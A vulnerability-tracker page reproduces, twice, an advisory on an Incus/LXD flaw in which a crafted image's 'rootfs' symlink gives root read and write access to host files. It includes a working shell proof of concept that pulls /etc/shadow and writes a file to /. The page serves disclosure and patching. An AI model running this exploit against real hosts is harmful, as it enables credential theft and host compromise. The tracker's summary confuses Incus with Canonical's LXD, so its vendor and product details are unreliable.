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9.9
Incus can let attackers read or modify host files
published 15 days ago
Summary
Incus, the container manager from Canonical, can be tricked with a specially crafted container image to access any file on the host system, even with root privileges. This could let an attacker read sensitive data such as password files or place malicious files that the host will execute. Use only trusted images, update Incus to the latest version, and restrict image imports to verified sources.
What to do
- Update github.com canonical to version 0.0.0-20260630083100-c5184be310b1.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| go | github.com | canonical |
< 0.0.0-20260630083100-c5184be310b1 Fix: upgrade to 0.0.0-20260630083100-c5184be310b1
|
Original advisory text
LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image
Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
### Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
### Details
Incus validates an image as soon as it sees a normal `metadata.yaml` and
a `rootfs/` entry, but full extraction can later process a duplicate top-level
`rootfs` symlink. Later, the stopped-container file API opens
`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to
it.
```
metadata.yaml
rootfs/
rootfs -> /
```
In practice, this allows a malicious actor to access the host's filesystem
with root privileges.
### PoC
Below, we map the container's rootfs to `/` on the host, but it can be
mapped anywhere. We then retrieve the host's `/etc/shadow` file and
create a file in `/`.
```
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
```
### Impact
Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.
### Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
### Details
Incus validates an image as soon as it sees a normal `metadata.yaml` and
a `rootfs/` entry, but full extraction can later process a duplicate top-level
`rootfs` symlink. Later, the stopped-container file API opens
`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to
it.
```
metadata.yaml
rootfs/
rootfs -> /
```
In practice, this allows a malicious actor to access the host's filesystem
with root privileges.
### PoC
Below, we map the container's rootfs to `/` on the host, but it can be
mapped anywhere. We then retrieve the host's `/etc/shadow` file and
create a file in `/`.
```
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
```
### Impact
Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.
References
- https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8
- https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
- https://nvd.nist.gov/vuln/detail/CVE-2026-48749
- https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- https://github.com/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- https://github.com/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235
- https://github.com/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87
- https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9
- https://github.com/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2
- https://github.com/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd
- https://github.com/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818
- https://github.com/advisories/GHSA-vghh-5rfx-xhq8
Internet-facing
14 days
Internal
At next upgrade
- Not known to be exploited
- Needs hands-on effort to exploit (estimated)
- Gives an attacker full control (estimated)
Type
CWE-73External Control of File Name or Path
Timeline
Published6 Nov 2026
Updated6 Nov 2026
First seen6 Nov 2026
Sources
GHSA-vghh-5rfx-xhq8 · GHSA
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